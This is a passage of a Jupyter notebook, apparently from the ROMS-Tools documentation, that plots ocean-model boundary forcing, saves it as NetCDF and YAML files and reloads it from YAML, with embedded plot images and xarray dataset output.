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", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time bgc_boundary_forcing.plot(\"ALK_east\", time=0, layer_contours=True)" ] }, { "cell_type": "markdown", "id": "d5f859cf-ed9a-457d-b2f9-454497365199", "metadata": {}, "source": [ "## Saving as NetCDF or YAML file\n", "We can now save our boundary forcing as a NetCDF file. We need to specify a prefix for the desired target path." ] }, { "cell_type": "code", "execution_count": 19, "id": "3f1ac378-83ba-43c9-93d5-928212d877ff", "metadata": {}, "outputs": [], "source": [ "filepath = \"/pscratch/sd/n/nloose/forcing/my_boundary_forcing\"" ] }, { "cell_type": "markdown", "id": "07c47ceb-4cdb-4703-9866-d387c714eaea", "metadata": {}, "source": [ "`ROMS-Tools` will group the boundary forcing by year and month and append the year and month information to this path. The files will be named with the format `filepath.YYYYMM.nc` if a full month of data is included (at least one data point per day), or `filepath.YYYYMMDD-DD.nc` otherwise." ] }, { "cell_type": "code", "execution_count": 20, "id": "35a2cb0d-1692-47d8-afb7-687c8fffe220", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 25.04 ss\n", "CPU times: user 52min 50s, sys: 5.76 s, total: 52min 55s\n", "Wall time: 25.3 s\n" ] } ], "source": [ "with ProgressBar():\n", " %time boundary_forcing.save(filepath)" ] }, { "cell_type": "markdown", "id": "01bf7e8a-4884-4241-9367-6082091ceb39", "metadata": {}, "source": [ "We can also export the parameters of our `BoundaryForcing` object to a YAML file." ] }, { "cell_type": "code", "execution_count": 21, "id": "5bc9b875-ed32-45aa-b33e-cdc7b06ef91e", "metadata": {}, "outputs": [], "source": [ "yaml_filepath = \"/pscratch/sd/n/nloose/forcing/my_boundary_forcing.yaml\"" ] }, { "cell_type": "code", "execution_count": 22, "id": "5cbf1e13-1b87-479f-a46e-d7e1be20ee33", "metadata": {}, "outputs": [], "source": [ "boundary_forcing.to_yaml(yaml_filepath)" ] }, { "cell_type": "markdown", "id": "22b13b7f-777b-4ed6-99c8-159dcdc6ca9e", "metadata": {}, "source": [ "This is the YAML file that was created." ] }, { "cell_type": "code", "execution_count": 23, "id": "76bd6e54-e7dc-4ee3-8f48-7f2846cea754", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "---\n", "roms_tools_version: 0.1.dev138+dirty\n", "---\n", "BoundaryForcing:\n", " boundaries:\n", " east: true\n", " north: true\n", " south: true\n", " west: true\n", " end_time: '2012-01-04T00:00:00'\n", " model_reference_date: '2000-01-01T00:00:00'\n", " source:\n", " climatology: false\n", " name: GLORYS\n", " path:\n", " - /global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120101.nc\n", " - /global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120102.nc\n", " - /global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120103.nc\n", " - /global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120104.nc\n", " - /global/cfs/projectdirs/m4746/Datasets/GLORYS/NA/2012/mercatorglorys12v1_gl12_mean_20120105.nc\n", " start_time: '2012-01-02T00:00:00'\n", " type: physics\n", "Grid:\n", " N: 100\n", " center_lat: 61\n", " center_lon: -21\n", " hc: 300.0\n", " hmin: 5.0\n", " nx: 100\n", " ny: 100\n", " rot: 20\n", " size_x: 1800\n", " size_y: 2400\n", " theta_b: 2.0\n", " theta_s: 5.0\n", " topography_source: ETOPO5\n", "\n" ] } ], "source": [ "# Open and read the YAML file\n", "with open(yaml_filepath, \"r\") as file:\n", " file_contents = file.read()\n", "\n", "# Print the contents\n", "print(file_contents)" ] }, { "cell_type": "markdown", "id": "35b6a9a5-5b9a-48fe-9735-f390db2679f8", "metadata": {}, "source": [ "## Creating boundary forcing from an existing YAML file" ] }, { "cell_type": "code", "execution_count": 24, "id": "18f7009f-2658-49a9-8580-f8f2c944c03b", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 2min 7s, sys: 279 ms, total: 2min 7s\n", "Wall time: 5.53 s\n" ] } ], "source": [ "%time the_same_boundary_forcing = BoundaryForcing.from_yaml(yaml_filepath, use_dask=True)" ] }, { "cell_type": "code", "execution_count": 25, "id": "bce3f03e-34f2-4a90-85f4-2ed1f94b8cea", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 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currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 3MB\n", "Dimensions: (bry_time: 4, s_rho: 100, xi_rho: 102, xi_u: 101, eta_rho: 102,\n", " eta_v: 101)\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 32B 2012-01-01T12:00:00 ... 2012-01...\n", " * bry_time (bry_time) float64 32B 4.384e+03 4.384e+03 4.386e+03 4.386e+03\n", "Dimensions without coordinates: s_rho, xi_rho, xi_u, eta_rho, eta_v\n", "Data variables: (12/28)\n", " temp_south (bry_time, s_rho, xi_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " salt_south (bry_time, s_rho, xi_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " u_south (bry_time, s_rho, xi_u) float32 162kB dask.array&lt;chunksize=(1, 100, 101), meta=np.ndarray&gt;\n", " v_south (bry_time, s_rho, xi_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " zeta_south (bry_time, xi_rho) float32 2kB dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;\n", " ubar_south (bry_time, xi_u) float32 2kB dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;\n", " ... ...\n", " salt_west (bry_time, s_rho, eta_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " u_west (bry_time, s_rho, eta_rho) float32 163kB dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;\n", " v_west (bry_time, s_rho, eta_v) float32 162kB dask.array&lt;chunksize=(1, 100, 101), meta=np.ndarray&gt;\n", " zeta_west (bry_time, eta_rho) float32 2kB dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;\n", " ubar_west (bry_time, eta_rho) float32 2kB dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;\n", " vbar_west (bry_time, eta_v) float32 2kB dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS boundary forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-02 00:00:00\n", " end_time: 2012-01-04 00:00:00\n", " source: GLORYS\n", " model_reference_date: 2000-01-01 00:00:00\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-65655d2a-60e8-48b4-b327-d0617f48983a' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-65655d2a-60e8-48b4-b327-d0617f48983a' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>bry_time</span>: 4</li><li><span>s_rho</span>: 100</li><li><span>xi_rho</span>: 102</li><li><span>xi_u</span>: 101</li><li><span>eta_rho</span>: 102</li><li><span>eta_v</span>: 101</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-d9a8f923-bcf7-48d7-951c-ead377c3bad5' class='xr-section-summary-in' type='checkbox' checked><label for='section-d9a8f923-bcf7-48d7-951c-ead377c3bad5' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-01T12:00:00 ... 2012-01-...</div><input id='attrs-346c1284-9ee9-4797-9ea2-adc313dbfe29' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-346c1284-9ee9-4797-9ea2-adc313dbfe29' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-101f9eec-c7d1-41b8-9860-9aaa187602b4' class='xr-var-data-in' type='checkbox'><label for='data-101f9eec-c7d1-41b8-9860-9aaa187602b4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-01T12:00:00.000000000&#x27;, &#x27;2012-01-02T12:00:00.000000000&#x27;,\n", " &#x27;2012-01-03T12:00:00.000000000&#x27;, &#x27;2012-01-04T12:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>bry_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.384e+03 4.384e+03 ... 4.386e+03</div><input id='attrs-cf97a6ef-121c-428f-9372-5db4f1ac20f5' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-cf97a6ef-121c-428f-9372-5db4f1ac20f5' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input 